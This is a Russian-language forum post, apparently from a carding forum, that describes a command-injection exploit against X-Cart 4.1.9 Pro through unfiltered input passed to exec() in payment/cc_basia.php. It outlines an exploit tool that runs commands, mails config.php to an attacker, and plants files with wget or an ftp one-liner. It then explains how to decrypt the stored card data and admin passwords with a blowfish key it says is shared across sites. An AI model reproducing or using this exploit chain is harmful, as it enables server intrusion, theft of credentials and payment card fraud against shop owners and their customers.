Сообщение от
EstGi
↑
подскажите пожалуйста что есть на x-cart 4.1.9 Pro
Цитирую:
.SpoilerTarget" type="button">Spoiler
При установке X-Cart требует наличия exec() и выключенного сейфмода для работы скриптов обработки картона. Сам картон и пароли пользователей зашифрованы алгоритмом blowfish и хранятся в БД; ключ blowfish хранится в config.php вместе с настройками для подключения к БД.
После целенаправленного поиска всех вызовов exec(), был обнаружен незащищенный скрипт, который не фильтрует поступающие данные, попадающие в exec().
payment/cc_basia.php:
PHP:
if($REQUEST_METHOD == "POST" && isset($HTTP_POST_VARS["boamsg"]) && empty($HTTP_POST_VARS["boaref"]))
{ x_load('order');
$pp_path = func_query_first_cell("SELECT param02 FROM $sql_tbl[ccprocessors] WHERE processor='cc_basia.php'"); $resp = parse_basia_response($HTTP_POST_VARS["boamsg"]); /* ... */ }
PHP:
function parse_basia_response($resp)
{
global $pp_path; exec(func_shellquote($pp_path)."/decrypt ".$resp." 2>&1";,$out); $resp = $out[0]; /* ... */ }
Вывода exec() получить нельзя, но команды успешно выполняются.
Эксплоит работает в интерактивном режиме, поэтому нужен CLI-интерфейс. Первый параметр URL, второй - режим работы. Всего сделал 4 режима:
[LIST][*]
ch/
check - проверка доступности exec() через вывод некоторых параметров конфигурации PHP в скрипте check_requirements.php с GET-параметром checkrequirements. В большинстве случаев, если путь указан верно, exec() будет доступен.
[*]
e/
exec - выполнение команд. Здесь надо отметить, что в команде не допускаются символы, которые могут быть заэкранированы addslashes(). Это также особо не препятствует удачному взлому.
[*]
c/
config - отправка config.php на email. Эксплоит запросит ваш email и выполнит такую команду:
cat ../config.php | mail $email
[*]
u/
upload - загрузка файлов с помощью wget. Будут запрошены URL удаленного файла, а также локальный путь для сохранения. Локальный путь нужно указывать относительно папки, где установлен X-Cart. Его можно не указывать, тогда будет использоваться файл
skin1/main/error_realtime_shipping_disabled.php. По завершени выполнения команды будет предложено применить touch на созданном файле.
Если файлы не закачиваются, то вероятно wget'а нет или к нему запрещен доступ. Самый верный вариант - заливать с помощью ftp. Для этого запускаем второй режим и выполняем команду:
cd ../skin1/main/; echo user [user] [pass]>ftp.txt; echo prompt>>ftp.txt; echo get s.php>>ftp.txt; echo bye>>ftp.txt; ftp -n -v [host] mdecrypt('06a907f395516c9dfb4489e7de21d50141fabf5b 9b007787', 'bb3704bed294be6d89b840b3fc184039');
blowfish.php - это отредактированный скрипт из поставки X-Cart (см. в атаче); первый аргумент функции это зашифрованное значение, второй - ключ. Кстати на всех сайтах, которые мне попадались - ключ был один и тот же: bb3704bed294be6d89b840b3fc184039. Пароли админов расшифровываются аналогичным способом.